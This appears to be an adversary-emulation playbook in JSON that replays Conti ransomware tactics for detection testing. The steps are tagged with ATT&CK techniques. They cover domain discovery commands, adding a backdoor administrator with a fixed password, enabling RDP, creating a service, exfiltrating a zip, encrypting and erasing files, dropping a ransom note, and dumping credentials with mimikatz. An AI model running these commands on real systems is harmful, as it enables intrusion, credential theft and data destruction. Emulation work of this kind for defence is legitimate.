{ "threat": { "category": "User-Defined", "description": "Conti ransomware based on The DFIR Report: https://thedfirreport.com/2021/05/12/conti-ransomware/", "display_name": "Conti", "name": "Conti", "operating_system_name": "windows", "script": { "0": { "conf": "--cp 127.0.0.1:443 --multipart 10240 --secure true", "module": "https", "type": "initialization" }, "1": { "name": "STEP", "type": "assign", "value": "DISCOVERY" }, "2": { "module": "loader", "module_to_load": "run", "request": "--load run", "type": "message" }, "3": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "ipconfig /all", "rtags": [ "att&ck-technique:T1016" ], "type": "message" }, "4": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "systeminfo", "rtags": [ "att&ck-technique:T1082" ], "type": "message" }, "5": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "whoami /groups", "rtags": [ "att&ck-technique:T1069.001" ], "type": "message" }, "6": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net config workstation", "rtags": [ "att&ck-technique:T1049" ], "type": "message" }, "7": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net use", "rtags": [ "att&ck-technique:T1021.002" ], "type": "message" }, "8": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd /c echo %userdomain%", "rtags": [ "att&ck-technique:T1078.002" ], "type": "message" }, "9": { "function": "ifelse", "next": "15", "step": "8", "type": "decision", "value": "The system cannot find the file specified.", "verb": "contains" }, "10": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "nltest /domain_trusts", "rtags": [ "att&ck-technique:T1482" ], "type": "message" }, "11": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "nltest /domain_trusts /all_trusts", "rtags": [ "att&ck-technique:T1482" ], "type": "message" }, "12": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net view /all /domain", "rtags": [ "att&ck-technique:T1087.002" ], "type": "message" }, "13": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net view /all", "rtags": [ "att&ck-technique:T1069.001" ], "type": "message" }, "14": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net group \"Domain Admins\" /domain", "rtags": [ "att&ck-technique:T1087.002" ], "type": "message" }, "15": { "name": "STEP", "type": "assign", "value": "PERSIST" }, "16": { "depends_on": "8a328046-158f-4bce-bc3c-3c9b5b177512", "module": "controller", "request": "--integrity", "type": "message" }, "17": { "function": "ifelse", "next": "22", "step": "16", "type": "decision", "value": "High", "verb": "does not contain" }, "18": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net user /add /Y nuuser 7HeC00l3stP@ssw0rd", "rtags": [ "att&ck-technique:T1136" ], "type": "message" }, "19": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net localgroup administrators nuuser /add", "rtags": [ "att&ck-technique:T1136.001" ], "type": "message" }, "20": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd.exe /C reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v \"fDenyTSConnections\" /t REG_DWORD /d 0x0 /f", "rtags": [ "att&ck-technique:T1021.001" ], "type": "message" }, "21": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd /c sc.exe create Conti binpath= c:\\windows\\system32\\Conti.exe type= share start= auto", "rtags": [ "att&ck-technique:T1543.003" ], "type": "message" }, "22": { "name": "STEP", "type": "assign", "value": "IMPACT" }, "23": { "module": "loader", "module_to_load": "crypt", "request": "--load crypt", "type": "message" }, "24": { "module": "loader", "module_to_load": "downloader", "request": "--load downloader", "type": "message" }, "25": { "module": "loader", "module_to_load": "file", "request": "--load file", "type": "message" }, "26": { "module": "loader", "module_to_load": "uploader", "request": "--load uploader", "type": "message" }, "27": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "powershell mkdir \"%USERPROFILE%\\Desktop\\Conti\"", "rtags": [ "att&ck-technique:T1059.001" ], "type": "message" }, "28": { "depends_on": "e96eccc9-6c98-4246-b809-1849684c7df2", "module": "file", "request": "--create --path \"%USERPROFILE%\\Desktop\\Conti\\target_file.doc\" --size 1MB --count 100 --random", "rtags": [ "att&ck-technique:T1074.001" ], "type": "message" }, "29": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "powershell \"Compress-Archive -Path $env:userprofile\\Desktop\\Conti -CompressionLevel Optimal -Destination $env:userprofile\\Desktop\\exfil.zip\"", "rtags": [ "att&ck-technique:T1560.002" ], "type": "message" }, "30": { "module": "uploader", "request": "--remotepath \"%USERPROFILE%\\Desktop\\exfil.zip\"", "rtags": [ "att&ck-technique:T1041" ], "type": "message" }, "31": { "depends_on": "ff705b65-037a-4f06-b21e-e74e6cfe32bc", "module": "crypt", "request": "--target \"%USERPROFILE%\\Desktop\\Conti\\\" --encrypt --password \"dTonVhthjUJCMM6JkCi8\" --erase", "rtags": [ "att&ck-technique:T1486" ], "type": "message" }, "32": { "depends_on": "6f076e51-2e23-46c2-b88e-4505902f960e", "module": "downloader", "request": "--src \"VFS:/shared/threats/Conti/readme.txt\" --dest \"%USERPROFILE%\\Desktop\\readme.txt\"", "rtags": [ "att&ck-technique:T1491.001" ], "type": "message" }, "33": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "powershell notepad \"%USERPROFILE%\\Desktop\\readme.txt\"", "rtags": [ "att&ck-technique:T1059.001" ], "type": "message" }, "34": { "name": "STEP", "type": "assign", "value": "CLEANUP" }, "35": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd /c rmdir /Q /S %USERPROFILE%\\Desktop\\Conti\"", "rtags": [], "type": "message" }, "36": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd /c del \"%USERPROFILE%\\Desktop\\exfil.zip\"", "rtags": [], "type": "message" }, "37": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd /c del \"%USERPROFILE%\\Desktop\\README.txt\"", "rtags": [], "type": "message" }, "38": { "depends_on": "8a328046-158f-4bce-bc3c-3c9b5b177512", "module": "controller", "request": "--integrity", "type": "message" }, "39": { "function": "ifelse", "next": "46", "step": "38", "type": "decision", "value": "High", "verb": "does not contain" }, "40": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "cmd.exe /C reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v \"fDenyTSConnections\" /t REG_DWORD /d 0x1 /f", "rtags": [ "att&ck-technique:T1112" ], "type": "message" }, "41": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net localgroup administrators nuuser /del", "rtags": [], "type": "message" }, "42": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "net user /del nuuser", "rtags": [ "att&ck-technique:T1531" ], "type": "message" }, "43": { "depends_on": "93b6b9cf-78d2-45ee-a174-08290fdf73db", "module": "run", "request": "sc delete Conti", "rtags": [ "att&ck-technique:T1489" ], "type": "message" }, "44": { "module": "loader", "module_to_load": "mimikatz", "request": "--load mimikatz", "type": "message" }, "45": { "depends_on": "acc295cf-e232-4a4d-9210-1a6911beb4f8", "module": "mimikatz", "request": "--arglist sekurlsa::logonPasswords", "rtags": [ "att&ck-technique:T1003.001" ], "type": "message" }, "46": { "module": "controller", "request": "--shutdown", "rtags": [ "scythe", "att&ck", "att&ck-tactic:TA0011", "att&ck-technique:T1219" ], "type": "message" } }, "signature": "3ce1cbeedb097e1a0c3b83ebdd6c955a7433cf29" } }